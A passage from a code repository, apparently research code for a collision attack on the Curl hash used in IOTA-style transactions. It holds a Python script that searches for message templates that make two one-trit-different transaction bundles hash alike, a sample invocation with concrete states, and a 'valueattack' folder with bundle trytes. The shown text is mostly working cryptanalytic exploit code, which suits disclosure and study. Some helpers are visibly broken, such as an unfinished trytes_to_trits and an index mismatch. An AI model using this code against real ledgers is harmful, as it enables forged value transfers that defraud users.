(466, 496), 132: (464, 497), 133: (462, 498), 134: (460, 499), 135: (458, 500), 136: (456, 501), 137: (454, 502), 138: (452, 503), 139: (450, 504), 140: (448, 505), 141: (446, 506), 142: (444, 507), 143: (442, 508), 144: (440, 509), 145: (438, 510), 146: (436, 511), 147: (434, 512), 148: (432, 513), 149: (430, 514), 150: (428, 515), 151: (426, 516), 152: (424, 517), 153: (422, 518), 154: (420, 519), 155: (418, 520), 156: (416, 521), 157: (414, 522), 158: (412, 523), 159: (410, 524), 160: (408, 525), 161: (406, 526), 162: (404, 527), 163: (402, 528), 164: (400, 529), 165: (398, 530), 166: (396, 531), 167: (394, 532), 168: (392, 533), 169: (390, 534), 170: (388, 535), 171: (386, 536), 172: (384, 537), 173: (382, 538), 174: (380, 539), 175: (378, 540), 176: (376, 541), 177: (374, 542), 178: (372, 543), 179: (370, 544), 180: (368, 545), 181: (366, 546), 182: (364, 547), 183: (362, 548), 184: (360, 549), 185: (358, 550), 186: (356, 551), 187: (354, 552), 188: (352, 553), 189: (350, 554), 190: (348, 555), 191: (346, 556), 192: (344, 557), 193: (342, 558), 194: (340, 559), 195: (338, 560), 196: (336, 561), 197: (334, 562), 198: (332, 563), 199: (330, 564), 200: (328, 565), 201: (326, 566), 202: (324, 567), 203: (322, 568), 204: (320, 569), 205: (318, 570), 206: (316, 571), 207: (314, 572), 208: (312, 573), 209: (310, 574), 210: (308, 575), 211: (306, 576), 212: (304, 577), 213: (302, 578), 214: (300, 579), 215: (298, 580), 216: (296, 581), 217: (294, 582), 218: (292, 583), 219: (290, 584), 220: (288, 585), 221: (286, 586), 222: (284, 587), 223: (282, 588), 224: (280, 589), 225: (278, 590), 226: (276, 591), 227: (274, 592), 228: (272, 593), 229: (270, 594), 230: (268, 595), 231: (266, 596), 232: (264, 597), 233: (262, 598), 234: (260, 599), 235: (258, 600), 236: (256, 601), 237: (254, 602), 238: (252, 603), 239: (250, 604), 240: (248, 605), 241: (246, 606), 242: (244, 607), 243: (242, 608), 244: (240, 609), 245: (238, 610), 246: (236, 611), 247: (234, 612), 248: (232, 613), 249: (230, 614), 250: (228, 615), 251: (226, 616), 252: (224, 617), 253: (222, 618), 254: (220, 619), 255: (218, 620), 256: (216, 621), 257: (214, 622), 258: (212, 623), 259: (210, 624), 260: (208, 625), 261: (206, 626), 262: (204, 627), 263: (202, 628), 264: (200, 629), 265: (198, 630), 266: (196, 631), 267: (194, 632), 268: (192, 633), 269: (190, 634), 270: (188, 635), 271: (186, 636), 272: (184, 637), 273: (182, 638), 274: (180, 639), 275: (178, 640), 276: (176, 641), 277: (174, 642), 278: (172, 643), 279: (170, 644), 280: (168, 645), 281: (166, 646), 282: (164, 647), 283: (162, 648), 284: (160, 649), 285: (158, 650), 286: (156, 651), 287: (154, 652), 288: (152, 653), 289: (150, 654), 290: (148, 655), 291: (146, 656), 292: (144, 657), 293: (142, 658), 294: (140, 659), 295: (138, 660), 296: (136, 661), 297: (134, 662), 298: (132, 663), 299: (130, 664), 300: (128, 665), 301: (126, 666), 302: (124, 667), 303: (122, 668), 304: (120, 669), 305: (118, 670), 306: (116, 671), 307: (114, 672), 308: (112, 673), 309: (110, 674), 310: (108, 675), 311: (106, 676), 312: (104, 677), 313: (102, 678), 314: (100, 679), 315: (98, 680), 316: (96, 681), 317: (94, 682), 318: (92, 683), 319: (90, 684), 320: (88, 685), 321: (86, 686), 322: (84, 687), 323: (82, 688), 324: (80, 689), 325: (78, 690), 326: (76, 691), 327: (74, 692), 328: (72, 693), 329: (70, 694), 330: (68, 695), 331: (66, 696), 332: (64, 697), 333: (62, 698), 334: (60, 699), 335: (58, 700), 336: (56, 701), 337: (54, 702), 338: (52, 703), 339: (50, 704), 340: (48, 705), 341: (46, 706), 342: (44, 707), 343: (42, 708), 344: (40, 709), 345: (38, 710), 346: (36, 711), 347: (34, 712), 348: (32, 713), 349: (30, 714), 350: (28, 715), 351: (26, 716), 352: (24, 717), 353: (22, 718), 354: (20, 719), 355: (18, 720), 356: (16, 721), 357: (14, 722), 358: (12, 723), 359: (10, 724), 360: (8, 725), 361: (6, 726), 362: (4, 727), 363: (2, 728), 364: (0, 0), 365: (727, 1), 366: (725, 2), 367: (723, 3), 368: (721, 4), 369: (719, 5), 370: (717, 6), 371: (715, 7), 372: (713, 8), 373: (711, 9), 374: (709, 10), 375: (707, 11), 376: (705, 12), 377: (703, 13), 378: (701, 14), 379: (699, 15), 380: (697, 16), 381: (695, 17), 382: (693, 18), 383: (691, 19), 384: (689, 20), 385: (687, 21), 386: (685, 22), 387: (683, 23), 388: (681, 24), 389: (679, 25), 390: (677, 26), 391: (675, 27), 392: (673, 28), 393: (671, 29), 394: (669, 30), 395: (667, 31), 396: (665, 32), 397: (663, 33), 398: (661, 34), 399: (659, 35), 400: (657, 36), 401: (655, 37), 402: (653, 38), 403: (651, 39), 404: (649, 40), 405: (647, 41), 406: (645, 42), 407: (643, 43), 408: (641, 44), 409: (639, 45), 410: (637, 46), 411: (635, 47), 412: (633, 48), 413: (631, 49), 414: (629, 50), 415: (627, 51), 416: (625, 52), 417: (623, 53), 418: (621, 54), 419: (619, 55), 420: (617, 56), 421: (615, 57), 422: (613, 58), 423: (611, 59), 424: (609, 60), 425: (607, 61), 426: (605, 62), 427: (603, 63), 428: (601, 64), 429: (599, 65), 430: (597, 66), 431: (595, 67), 432: (593, 68), 433: (591, 69), 434: (589, 70), 435: (587, 71), 436: (585, 72), 437: (583, 73), 438: (581, 74), 439: (579, 75), 440: (577, 76), 441: (575, 77), 442: (573, 78), 443: (571, 79), 444: (569, 80), 445: (567, 81), 446: (565, 82), 447: (563, 83), 448: (561, 84), 449: (559, 85), 450: (557, 86), 451: (555, 87), 452: (553, 88), 453: (551, 89), 454: (549, 90), 455: (547, 91), 456: (545, 92), 457: (543, 93), 458: (541, 94), 459: (539, 95), 460: (537, 96), 461: (535, 97), 462: (533, 98), 463: (531, 99), 464: (529, 100), 465: (527, 101), 466: (525, 102), 467: (523, 103), 468: (521, 104), 469: (519, 105), 470: (517, 106), 471: (515, 107), 472: (513, 108), 473: (511, 109), 474: (509, 110), 475: (507, 111), 476: (505, 112), 477: (503, 113), 478: (501, 114), 479: (499, 115), 480: (497, 116), 481: (495, 117), 482: (493, 118), 483: (491, 119), 484: (489, 120), 485: (487, 121), 486: (485, 122), 487: (483, 123), 488: (481, 124), 489: (479, 125), 490: (477, 126), 491: (475, 127), 492: (473, 128), 493: (471, 129), 494: (469, 130), 495: (467, 131), 496: (465, 132), 497: (463, 133), 498: (461, 134), 499: (459, 135), 500: (457, 136), 501: (455, 137), 502: (453, 138), 503: (451, 139), 504: (449, 140), 505: (447, 141), 506: (445, 142), 507: (443, 143), 508: (441, 144), 509: (439, 145), 510: (437, 146), 511: (435, 147), 512: (433, 148), 513: (431, 149), 514: (429, 150), 515: (427, 151), 516: (425, 152), 517: (423, 153), 518: (421, 154), 519: (419, 155), 520: (417, 156), 521: (415, 157), 522: (413, 158), 523: (411, 159), 524: (409, 160), 525: (407, 161), 526: (405, 162), 527: (403, 163), 528: (401, 164), 529: (399, 165), 530: (397, 166), 531: (395, 167), 532: (393, 168), 533: (391, 169), 534: (389, 170), 535: (387, 171), 536: (385, 172), 537: (383, 173), 538: (381, 174), 539: (379, 175), 540: (377, 176), 541: (375, 177), 542: (373, 178), 543: (371, 179), 544: (369, 180), 545: (367, 181), 546: (365, 182), 547: (363, 183), 548: (361, 184), 549: (359, 185), 550: (357, 186), 551: (355, 187), 552: (353, 188), 553: (351, 189), 554: (349, 190), 555: (347, 191), 556: (345, 192), 557: (343, 193), 558: (341, 194), 559: (339, 195), 560: (337, 196), 561: (335, 197), 562: (333, 198), 563: (331, 199), 564: (329, 200), 565: (327, 201), 566: (325, 202), 567: (323, 203), 568: (321, 204), 569: (319, 205), 570: (317, 206), 571: (315, 207), 572: (313, 208), 573: (311, 209), 574: (309, 210), 575: (307, 211), 576: (305, 212), 577: (303, 213), 578: (301, 214), 579: (299, 215), 580: (297, 216), 581: (295, 217), 582: (293, 218), 583: (291, 219), 584: (289, 220), 585: (287, 221), 586: (285, 222), 587: (283, 223), 588: (281, 224), 589: (279, 225), 590: (277, 226), 591: (275, 227), 592: (273, 228), 593: (271, 229), 594: (269, 230), 595: (267, 231), 596: (265, 232), 597: (263, 233), 598: (261, 234), 599: (259, 235), 600: (257, 236), 601: (255, 237), 602: (253, 238), 603: (251, 239), 604: (249, 240), 605: (247, 241), 606: (245, 242), 607: (243, 243), 608: (241, 244), 609: (239, 245), 610: (237, 246), 611: (235, 247), 612: (233, 248), 613: (231, 249), 614: (229, 250), 615: (227, 251), 616: (225, 252), 617: (223, 253), 618: (221, 254), 619: (219, 255), 620: (217, 256), 621: (215, 257), 622: (213, 258), 623: (211, 259), 624: (209, 260), 625: (207, 261), 626: (205, 262), 627: (203, 263), 628: (201, 264), 629: (199, 265), 630: (197, 266), 631: (195, 267), 632: (193, 268), 633: (191, 269), 634: (189, 270), 635: (187, 271), 636: (185, 272), 637: (183, 273), 638: (181, 274), 639: (179, 275), 640: (177, 276), 641: (175, 277), 642: (173, 278), 643: (171, 279), 644: (169, 280), 645: (167, 281), 646: (165, 282), 647: (163, 283), 648: (161, 284), 649: (159, 285), 650: (157, 286), 651: (155, 287), 652: (153, 288), 653: (151, 289), 654: (149, 290), 655: (147, 291), 656: (145, 292), 657: (143, 293), 658: (141, 294), 659: (139, 295), 660: (137, 296), 661: (135, 297), 662: (133, 298), 663: (131, 299), 664: (129, 300), 665: (127, 301), 666: (125, 302), 667: (123, 303), 668: (121, 304), 669: (119, 305), 670: (117, 306), 671: (115, 307), 672: (113, 308), 673: (111, 309), 674: (109, 310), 675: (107, 311), 676: (105, 312), 677: (103, 313), 678: (101, 314), 679: (99, 315), 680: (97, 316), 681: (95, 317), 682: (93, 318), 683: (91, 319), 684: (89, 320), 685: (87, 321), 686: (85, 322), 687: (83, 323), 688: (81, 324), 689: (79, 325), 690: (77, 326), 691: (75, 327), 692: (73, 328), 693: (71, 329), 694: (69, 330), 695: (67, 331), 696: (65, 332), 697: (63, 333), 698: (61, 334), 699: (59, 335), 700: (57, 336), 701: (55, 337), 702: (53, 338), 703: (51, 339), 704: (49, 340), 705: (47, 341), 706: (45, 342), 707: (43, 343), 708: (41, 344), 709: (39, 345), 710: (37, 346), 711: (35, 347), 712: (33, 348), 713: (31, 349), 714: (29, 350), 715: (27, 351), 716: (25, 352), 717: (23, 353), 718: (21, 354), 719: (19, 355), 720: (17, 356), 721: (15, 357), 722: (13, 358), 723: (11, 359), 724: (9, 360), 725: (7, 361), 726: (5, 362), 727: (3, 363), 728: (1, 364)} 11 | 12 | 13 | TOTALROUNDS = 27 14 | 15 | def crypt(pi, i): 16 | truth_table = [1, 0, -1, 1, -1, 0, -1, 1, 0] 17 | return truth_table[pi + (3 * i) + 4] 18 | 19 | 20 | def diffleftpath(loc, depth): 21 | x = loc 22 | pipath = [] 23 | for i in xrange(depth): 24 | x = index[x][0] 25 | pipath.append(x) 26 | return pipath 27 | 28 | def follow(arr): 29 | newarr = [] 30 | for x in arr: 31 | newarr.extend(index[x]) 32 | return newarr 33 | 34 | 35 | def calceq(depth, a=[364], b=[365]): 36 | for i in xrange(depth): 37 | a = follow(a) 38 | b = follow(b) 39 | results = [] 40 | results.extend(a) 41 | results.extend(b) 42 | return results 43 | 44 | def getparents(depth, x): 45 | if depth == 0: 46 | return [x] 47 | if depth == 1: 48 | return [index[x][0], index[x][1]] 49 | else: 50 | return calceq(depth-1, [index[x][0]], [index[x][1]]) 51 | 52 | 53 | def randommsg(length): return [randint(0,2)-1 for i in xrange(length)] 54 | 55 | 56 | def randomFromTemplate(template): 57 | randMB = randommsg(243) 58 | for i in xrange(243): 59 | if template[i] != 'x': 60 | randMB[i] = template[i] 61 | return randMB 62 | 63 | 64 | def setFancy(eqs1, eqs2): 65 | statelst = [] 66 | for i in eqs1: 67 | statelst.extend(i) 68 | for i in eqs2: 69 | statelst.extend(i) 70 | stateset = set([i for i in statelst]) 71 | return stateset 72 | 73 | 74 | def runeq(eqs, state): 75 | neweq = [] 76 | for i in xrange(0, len(eqs), 2): 77 | var1 = eqs[i] 78 | var2 = eqs[i+1] 79 | neweq.append(crypt(var1, var2)) 80 | return neweq 81 | 82 | 83 | def resolveeq(eqs, state): 84 | reducedeqs = [] 85 | for i in xrange(0, len(eqs), 2): 86 | pind = eqs[i] 87 | ind = eqs[i+1] 88 | reducedeqs.append(crypt(state[pind], state[ind])) 89 | return reducedeqs 90 | 91 | def solveeq(eqs, state): 92 | vareqs = resolveeq(eqs, state) 93 | while len(vareqs) > 1: 94 | vareqs = runeq(vareqs, state) 95 | return vareqs[0] 96 | 97 | def trytes_to_trits(trytes): 98 | trits = [] 99 | 100 | for tryte in trytes: 101 | if tryte == "9": 102 | trits.extends([0,0,0]) 103 | 104 | 105 | def fromTritStr(tritstr): 106 | tritarr = [] 107 | 108 | for i in tritstr: 109 | tritarr.append(int(i)-1) 110 | 111 | return tritarr 112 | 113 | def inc(trit): 114 | if trit == -1: 115 | return 0 116 | elif trit == 0: 117 | return 1 118 | elif trit == 1: 119 | return -1 120 | 121 | def inc2(trit1, trit2): 122 | if trit1 == 1: 123 | return inc(trit1), inc(trit2) 124 | else: 125 | return inc(trit1), trit2 126 | 127 | 128 | def incs(trits): 129 | newtrits = [] 130 | carry = True 131 | for i in xrange(len(trits)): 132 | if carry == True: 133 | newtrits.append(inc(trits[i])) 134 | else: 135 | newtrits.append(trits[i]) 136 | if trits[i] != 1: 137 | carry = False 138 | 139 | return newtrits 140 | 141 | def inTag(lst): 142 | lst2 = [] 143 | for i in lst: 144 | if 81 <= i and i < 81*2: 145 | lst2.append(i) 146 | return lst2 147 | 148 | def runst(msg, STATE, rounds=27): 149 | assert(len(msg) == 243) 150 | 151 | h = Curl() 152 | h._state = STATE[:] 153 | h._state [0:243] = msg[:] 154 | for r in xrange(rounds): 155 | h._transform(1) 156 | return h._state 157 | 158 | 159 | 160 | def valueTemplate26(startingState, mb1, mb2, mb3, pos): 161 | depth = 9 162 | 163 | savedmb3 = mb3[:] 164 | 165 | # Create Eqs 166 | x=pos 167 | pathleft = [] 168 | pathright = [] 169 | lefteqs = [] 170 | righteqs = [] 171 | for i in xrange(depth): 172 | lpair = larr[x][1] 173 | 174 | lparents = getparents(i, lpair) 175 | lefteqs.append(lparents) 176 | 177 | x = larr[x][0] 178 | rpair = index[x-1%729][0] 179 | 180 | rparents = getparents(i, rpair) 181 | righteqs.append(rparents) 182 | 183 | pathleft.append(x) 184 | 185 | mb1rand = mb1[:] 186 | 187 | 188 | solved = False 189 | failtries = 0 190 | while not solved: 191 | failtries += 1 192 | 193 | mb1rand[81:2*81] = randommsg(81) 194 | 195 | # MB2 196 | state = runst(mb1rand, startingState) 197 | state = runst(mb2, state) 198 | 199 | if not (state[lefteqs[0][0]] == 1 and state[righteqs[0][0]] == 1): 200 | continue 201 | if not ((state[573] == -1 and mb3[208] == -1) 202 | or (state[573] == -1 and mb3[208] == 0) 203 | or (state[573] == 0 and mb3[208] == 1)): 204 | continue 205 | if not ((mb3[208] == -1 and state[572] == -1) 206 | or (mb3[208] == -1 and state[572] == 0) 207 | or (mb3[208] == 0 and state[572] == 1)): 208 | continue 209 | state [0:243] = mb3[:] 210 | 211 | solved108 = False 212 | for w in xrange(3): 213 | if ((solveeq(lefteqs[2], state) == 1) and (solveeq(righteqs[2], state) == 1)): 214 | solved108 = True 215 | break 216 | else: 217 | state[117] = inc(state[117]) 218 | if solved108 == False: 219 | continue 220 | if not (solveeq(lefteqs[3], state) == 1): 221 | continue 222 | if not (solveeq(righteqs[3], state) == 1): 223 | continue 224 | print "solved3" 225 | 226 | solved4 = False 227 | for w in xrange(9): 228 | if (solveeq(lefteqs[4], state) == 1) and (solveeq(righteqs[4], state) == 1): 229 | solved4 = True 230 | break 231 | else: 232 | trit1, trit2 = inc2(state[140], state[94]) 233 | state[140] = trit1 234 | state[94] = trit2 235 | if solved4 == False: 236 | continue 237 | print "solved4" 238 | 239 | solved5 = False 240 | for w in xrange(3**3): 241 | if (solveeq(lefteqs[5], state) == 1) and (solveeq(righteqs[5], state) == 1): 242 | solved5 = True 243 | break 244 | else: 245 | trits = incs([state[83], state[106], state[128]]) 246 | state[83] = trits[0] 247 | state[106] = trits[1] 248 | state[128] = trits[2] 249 | if solved5 == False: 250 | continue 251 | print "solved5" 252 | 253 | solved6 = False 254 | for w in xrange(3**6): 255 | if (solveeq(lefteqs[6], state) == 1) and (solveeq(righteqs[6], state) == 1): 256 | solved6 = True 257 | break 258 | else: 259 | trits = incs([state[123], state[100], state[145], state[111], state[88], state[157]]) 260 | state[123] = trits[0] 261 | state[100] = trits[1] 262 | state[145] = trits[2] 263 | state[111] = trits[3] 264 | state[88] = trits[4] 265 | state[157] = trits[5] 266 | if solved6 == False: 267 | continue 268 | print "solved6" 269 | 270 | solved7 = False 271 | for w in xrange(3**7): 272 | if (solveeq(lefteqs[7], state) == 1) and (solveeq(righteqs[7], state) == 1): 273 | solved7 = True 274 | break 275 | else: 276 | trits = incs([state[91], state[97], state[86], state[114], state[160], state[137], state[103]]) 277 | 278 | state[91] = trits[0] 279 | state[97] = trits[1] 280 | state[86] = trits[2] 281 | state[114] = trits[3] 282 | state[160] = trits[4] 283 | state[137]= trits[5] 284 | state[103]= trits[6] 285 | if solved7 == False: 286 | continue 287 | print "solved7" 288 | 289 | 290 | solved8 = False 291 | for w in xrange(3**5): 292 | if (solveeq(lefteqs[8], state) == 1) and (solveeq(righteqs[8], state) == 1): 293 | solved8 = True 294 | break 295 | else: 296 | trits = incs([state[84], state[87], state[93], state[121], state[144]]) 297 | 298 | state[84] = trits[0] 299 | state[87] = trits[1] 300 | state[93] = trits[2] 301 | state[121] = trits[3] 302 | state[141] = trits[4] 303 | if solved8 == False: 304 | continue 305 | 306 | solved = True 307 | for i in xrange(1,depth): 308 | if not (solveeq(lefteqs[i], state) == 1): 309 | solved = False 310 | print "L", i, lefteqs[i], solveeq(lefteqs[i], state), [state[j] for j in lefteqs[i]] 311 | break 312 | 313 | if not (solveeq(righteqs[i], state) == 1): 314 | solved = False 315 | print "R", i, righteqs[i], solveeq(righteqs[i], state), [state[j] for j in righteqs[i]] 316 | break 317 | 318 | if solved == True: 319 | template = state[0:243] 320 | ignoreSet = [] 321 | for ll in xrange(0, depth): 322 | ignoreSet = ignoreSet + lefteqs[ll]+righteqs[ll] 323 | for i in xrange(81, 2*81): 324 | if i in set(ignoreSet): 325 | template[i] = state[i] 326 | else: 327 | template[i] = 2 328 | template[pos] = 3 329 | return mb1rand, mb2, template 330 | 331 | 332 | def gentemplate(startingState, mb1, mb2, mb3): 333 | 334 | savedstate = startingState[:] 335 | 336 | assert(len(mb1) == 243); assert(len(mb2) == 243); assert(len(mb3) == 243) 337 | 338 | pos = 26 339 | (randmb1, mb2, mb3template) = valueTemplate26(startingState, mb1, mb2, mb3, pos) 340 | 341 | print "tx_secondhalf = ", randmb1 342 | print "tx_template = ", mb2+mb3template 343 | 344 | return randmb1, mb2, mb3template, startingState 345 | 346 | def comparestates(s1, s2): 347 | for i in xrange(len(s1)): 348 | if s1[i] != s2[i]: 349 | print i, s1[i], s2[i] 350 | 351 | 352 | def testoutput(randmb1, mb2, mb3template, startingState, rounds): 353 | diffmb3 = [ randommsg(1)[0] if i == 2 else i for i in mb3template] 354 | 355 | state = runst(randmb1, startingState[:]) 356 | savedState = runst(mb2, state) 357 | 358 | diff1 = diffmb3[:] 359 | diff1[26] = 0 360 | print "diff1", diff1 361 | print savedState, rounds 362 | state1 = runst(diff1, savedState[:], rounds) 363 | 364 | diff2 = diffmb3[:] 365 | diff2[26] = 1 366 | state2 = runst(diff2, savedState[:], rounds) 367 | 368 | 369 | diffs = 0 370 | for i in xrange(len(state1)): 371 | if not state1[i] == state2[i]: 372 | diffs+=1 373 | return diffs 374 | 375 | def argparse(argv): 376 | arg_dict={} 377 | switches={'state':list,'1mb':list,'2mb':list, '3mb':list} 378 | singles=''.join([x[0]+':' for x in switches]) 379 | long_form=[x+'=' for x in switches] 380 | d={x[0]+':':'--'+x for x in switches} 381 | try: 382 | opts, args = getopt.getopt(argv, singles, long_form) 383 | except getopt.GetoptError: 384 | print "bad arg" 385 | sys.exit(2) 386 | 387 | for opt, arg in opts: 388 | if opt[1]+':' in d: o=d[opt[1]+':'][2:] 389 | elif opt in d.values(): o=opt[2:] 390 | else: o ='' 391 | if o and arg: 392 | arg_dict[o]=ast.literal_eval(arg) 393 | 394 | 395 | if not o or not isinstance(arg_dict[o], switches[o]): 396 | print opt, arg, " Error: bad arg" 397 | sys.exit(2) 398 | 399 | startingstate = arg_dict['state'] 400 | 401 | mb1 = arg_dict['1mb'] 402 | mb2 = arg_dict['2mb'] 403 | mb3 = arg_dict['3mb'] 404 | 405 | assert(len(mb1) == 243); assert(len(mb2) == 243); assert(len(mb3) == 243) 406 | 407 | return startingstate, mb1, mb2, mb3 408 | 409 | 410 | if __name__ == "__main__": 411 | # pypy trit26.py --state=[-1,1,0,1,1,0,0,0,-1,-1,0,0,1,0,1,-1,0,0,0,-1,0,-1,0,0,1,-1,1,1,1,1,0,-1,0,0,0,1,0,0,0,1,-1,0,0,0,1,1,1,1,0,-1,1,1,0,0,0,-1,1,0,-1,1,1,-1,0,0,1,1,1,0,0,-1,0,-1,-1,1,0,0,-1,1,0,1,-1,-1,1,1,1,-1,0,1,1,0,0,0,-1,1,0,1,-1,-1,0,-1,1,1,0,0,0,-1,0,-1,-1,0,0,0,1,0,0,0,0,-1,1,1,0,-1,1,1,0,0,-1,0,0,0,1,1,0,0,-1,1,0,-1,-1,-1,-1,1,1,0,1,-1,-1,-1,1,-1,1,-1,0,1,0,0,0,-1,1,0,-1,1,-1,-1,1,-1,0,1,1,0,-1,0,1,1,0,1,-1,-1,-1,1,-1,-1,1,0,1,-1,0,1,0,-1,-1,-1,-1,1,1,1,-1,0,0,0,-1,1,1,-1,-1,1,-1,0,1,0,-1,0,0,1,0,1,0,1,1,-1,1,-1,1,0,-1,-1,-1,-1,-1,1,-1,0,0,-1,1,1,-1,0,1,-1,0,0,0,-1,-1,-1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,-1,0,0,0,0,1,-1,1,-1,0,-1,1,-1,-1,1,-1,1,0,-1,-1,-1,0,-1,1,-1,-1,1,-1,0,0,1,-1,0,-1,1,1,-1,-1,-1,-1,1,1,0,1,0,0,1,0,-1,-1,-1,-1,0,-1,-1,1,1,1,1,0,-1,0,1,1,-1,1,-1,0,0,-1,-1,0,1,1,1,1,0,1,0,0,0,-1,-1,1,-1,1,1,-1,0,1,1,0,-1,-1,1,-1,1,1,1,1,-1,-1,1,-1,0,1,-1,0,0,0,-1,0,1,1,1,0,1,-1,1,0,1,-1,0,0,-1,-1,-1,1,0,0,1,1,-1,-1,1,0,1,0,1,-1,0,-1,-1,-1,0,0,1,0,-1,-1,-1,-1,1,-1,0,1,0,-1,-1,0,-1,-1,-1,1,0,0,1,0,-1,-1,1,1,1,0,-1,-1,-1,1,0,-1,-1,-1,1,1,-1,1,1,-1,-1,1,0,-1,1,0,-1,0,0,-1,0,1,1,1,0,-1,1,1,-1,-1,1,-1,0,-1,1,0,-1,-1,0,-1,0,0,1,1,0,0,0,-1,0,-1,1,-1,-1,1,0,-1,-1,0,-1,1,1,-1,-1,1,-1,0,0,0,1,-1,0,-1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,1,0,0,-1,1,1,1,1,1,1,0,-1,1,1,-1,-1,1,0,-1,-1,1,0,1,-1,1,-1,1,0,0,0,1,0,-1,-1,-1,1,1,-1,1,0,-1,1,-1,0,0,1,-1,1,-1,-1,0,1,0,0,-1,1,0,0,-1,1,1,-1,1,-1,0,1,1,1,1,-1,-1,-1,-1,-1,0,-1,0,-1,1,1,1,1,1,1,0,1,1,-1,0,0,1,0,0,1,1,1,-1,-1,1,-1,-1,0,0,-1,-1,-1,0,-1,1,-1,-1,-1,0,0,1,0,1,0,0,-1,0,0,1,0,1,1,0,-1,1,-1,-1,-1,-1,-1,0,1,-1,1,0,-1,-1,1,-1,0,-1,-1,0,1,1,1,-1,0,-1,-1,-1,0,1,1,-1,-1,-1,-1,0,-1,1,0,0,-1,0,0,0,-1,-1,-1,-1,1,1,1,1,1,1,1,-1,-1,1,-1,1,-1,0,-1,1,0,0,-1,-1,-1,-1,0,0,-1,-1,1,1,0] --1mb=[0,0,1,0,1,1,0,-1,-1,-1,-1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,-1,1,1,1,0,-1,1,0,0,-1,-1,-1,0,0,1,1,0,0,0,0,0,0,0,-1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] --2mb=[1,1,0,-1,1,1,0,-1,0,0,1,-1,0,-1,0,-1,0,-1,0,1,0,-1,-1,1,0,1,1,1,-1,1,1,0,0,1,0,0,-1,1,0,0,-1,1,0,-1,1,-1,1,-1,0,1,0,-1,-1,-1,1,-1,-1,-1,0,1,-1,1,-1,-1,1,-1,1,-1,1,-1,0,0,1,0,1,1,0,-1,0,1,-1,1,0,0,-1,1,-1,0,-1,1,1,-1,-1,0,1,-1,0,1,-1,-1,0,0,0,1,1,1,1,-1,0,0,1,0,0,1,0,0,-1,-1,0,1,-1,0,-1,1,-1,0,1,-1,1,1,-1,-1,0,-1,1,-1,1,1,0,0,-1,0,1,1,1,0,0,-1,1,-1,1,-1,0,-1,0,0,-1,0,0,0,1,-1,1,0,-1,1,1,0,0,1,-1,0,1,1,1,1,-1,-1,-1,0,0,1,-1,0,-1,0,0,-1,1,1,-1,1,-1,-1,-1,1,0,0,1,-1,0,-1,-1,-1,0,0,0,0,0,0,-1,-1,0,0,0,0,-1,0,0,-1,0,-1,1,0,-1,-1,-1,1,-1,-1,-1,1,0,-1,1,-1,-1,0,0,0,1,1,0] --3mb=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,-1,1,1,1,0,-1,1,0,0,-1,-1,-1,0,0,1,1,0,0,0,0,0,0,0,1,-1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] 412 | startingstate, mb1, mb2, mb3 = argparse(sys.argv[1:]) 413 | randmb1, mb2, mb3template, startingState = gentemplate(startingstate, mb1, mb2, mb3) 414 | 415 | 416 | -------------------------------------------------------------------------------- /valueattack/.gitignore: -------------------------------------------------------------------------------- 1 | b0.json 2 | b1.json 3 | valueattack -------------------------------------------------------------------------------- /valueattack/inputBundleTrytes.txt: -------------------------------------------------------------------------------- 1 | [ "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999NZRALDYNVGJWUVLKDWFKJVNYLWQGCWYCURJIIZRLJIKSAIVZSGEYKTZRDBGJLOA9AWYJQB9IPWRAKUC9FXZPFCM9999999999999999999999999999999999999999999999999NUPWZD99J99999999J99999999VMKLPLHZCBMWTED